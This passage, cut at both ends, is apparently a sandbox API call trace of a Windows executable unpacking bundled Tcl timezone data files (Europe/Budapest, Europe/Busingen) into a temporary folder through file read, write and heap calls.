lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.317] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.317] GetFileType (hFile=0x10c) returned 0x1 [0042.317] htonl (hostlong=0x5f25b00) returned 0x5bf205 [0042.317] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60a205, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.317] htonl (hostlong=0x7d060000) returned 0x67d [0042.317] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x67d) returned 0x55e278 [0042.317] htonl (hostlong=0x7d060000) returned 0x67d [0042.317] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.317] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.317] htonl (hostlong=0x621f0000) returned 0x1f62 [0042.317] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1f62) returned 0x561090 [0042.317] htonl (hostlong=0x7d060000) returned 0x67d [0042.317] htonl (hostlong=0x621f0000) returned 0x1f62 [0042.317] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563000 [0042.317] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563000 | out: hHeap=0x530000) returned 1 [0042.317] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.317] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.317] CloseHandle (hObject=0x10c) returned 1 [0042.317] GetLastError () returned 0x0 [0042.318] SetLastError (dwErrCode=0x0) [0042.318] GetLastError () returned 0x0 [0042.318] SetLastError (dwErrCode=0x0) [0042.318] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.318] GetFileType (hFile=0x10c) returned 0x1 [0042.318] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.318] CloseHandle (hObject=0x10c) returned 1 [0042.318] GetLastError () returned 0x0 [0042.318] SetLastError (dwErrCode=0x0) [0042.318] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.318] GetFileType (hFile=0x10c) returned 0x1 [0042.318] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.319] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.319] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.319] CloseHandle (hObject=0x10c) returned 1 [0042.319] GetLastError () returned 0x0 [0042.319] SetLastError (dwErrCode=0x0) [0042.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.319] GetFileType (hFile=0x10c) returned 0x1 [0042.319] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.319] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.319] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.319] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.319] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.319] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.319] CloseHandle (hObject=0x10c) returned 1 [0042.319] GetLastError () returned 0x0 [0042.319] SetLastError (dwErrCode=0x0) [0042.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Budapest") returned 72 [0042.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Budapest" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\budapest"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.319] GetLastError () returned 0x2 [0042.320] SetLastError (dwErrCode=0x2) [0042.320] GetLastError () returned 0x2 [0042.320] SetLastError (dwErrCode=0x2) [0042.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Budapest", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Budapest", lpFilePart=0x0) returned 0x47 [0042.320] GetLastError () returned 0x2 [0042.320] SetLastError (dwErrCode=0x2) [0042.320] GetLastError () returned 0x2 [0042.320] SetLastError (dwErrCode=0x2) [0042.320] GetLastError () returned 0x2 [0042.320] SetLastError (dwErrCode=0x2) [0042.320] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Budapest") returned 72 [0042.320] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Budapest" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\budapest"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.320] GetFileType (hFile=0x10c) returned 0x1 [0042.320] htonl (hostlong=0x621f0000) returned 0x1f62 [0042.320] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.321] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.321] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xf62, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xf62, lpOverlapped=0x0) returned 1 [0042.321] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.321] CloseHandle (hObject=0x10c) returned 1 [0042.321] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.322] htonl (hostlong=0x30000000) returned 0x30 [0042.322] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.322] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.322] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.322] GetFileType (hFile=0x10c) returned 0x1 [0042.322] htonl (hostlong=0x82f85b00) returned 0x5bf882 [0042.322] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60a882, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.322] htonl (hostlong=0x8a000000) returned 0x8a [0042.323] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0042.323] htonl (hostlong=0x8a000000) returned 0x8a [0042.323] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.323] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.323] htonl (hostlong=0xb2000000) returned 0xb2 [0042.323] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb2) returned 0x550600 [0042.323] htonl (hostlong=0x8a000000) returned 0x8a [0042.323] htonl (hostlong=0xb2000000) returned 0xb2 [0042.323] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.323] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.324] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.324] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.324] CloseHandle (hObject=0x10c) returned 1 [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.324] GetFileType (hFile=0x10c) returned 0x1 [0042.324] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.324] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.324] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.324] CloseHandle (hObject=0x10c) returned 1 [0042.324] GetLastError () returned 0x0 [0042.324] SetLastError (dwErrCode=0x0) [0042.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.325] GetFileType (hFile=0x10c) returned 0x1 [0042.325] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.325] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.325] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.325] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.325] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.325] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.325] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.325] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.325] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.325] CloseHandle (hObject=0x10c) returned 1 [0042.325] GetLastError () returned 0x0 [0042.325] SetLastError (dwErrCode=0x0) [0042.325] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.326] GetFileType (hFile=0x10c) returned 0x1 [0042.326] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.326] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.326] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.326] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.326] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.326] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.326] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.326] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.326] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.326] CloseHandle (hObject=0x10c) returned 1 [0042.326] GetLastError () returned 0x0 [0042.326] SetLastError (dwErrCode=0x0) [0042.326] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Busingen") returned 72 [0042.326] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Busingen" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\busingen"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.326] GetLastError () returned 0x2 [0042.326] SetLastError (dwErrCode=0x2) [0042.326] GetLastError () returned 0x2 [0042.326] SetLastError (dwErrCode=0x2) [0042.326] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Busingen", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Busingen", lpFilePart=0x0) returned 0x47 [0042.326] GetLastError () returned 0x2 [0042.326] SetLastError (dwErrCode=0x2) [0042.326] GetLastError () returned 0x2 [0042.326] SetLastError (dwErrCode=0x2) [0042.326] GetLastError () returned 0x2 [0042.326] SetLastError (dwErrCode=0x2) [0042.326] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Busingen") returned 72 [0042.327] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.327] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Busingen" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\busingen"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.327] GetFileType (hFile=0x10c) returned 0x1 [0042.327] htonl (hostlong=0xb2000000) returned 0xb2 [0042.327] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.327] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb2, lpOverlapped=0x0) returned 1 [0042.328] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.328] CloseHandle (hObject=0x10c) returned 1 [0042.328] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.328] htonl (hostlong=0x30000000) returned 0x30 [0042.328] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.328] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.328] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.328] GetFileType (hFile=0x10c) returned 0x1 [0042.328] htonl (hostlong=0xcf95b00) returned 0x5bf90c [0042.328] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60a90c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.328] htonl (hostlong=0x74060000) returned 0x674 [0042.328] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x674) returned 0x55e278 [0042.328] htonl (hostlong=0x74060000) returned 0x674 [0042.328] RtlAllocateHeap 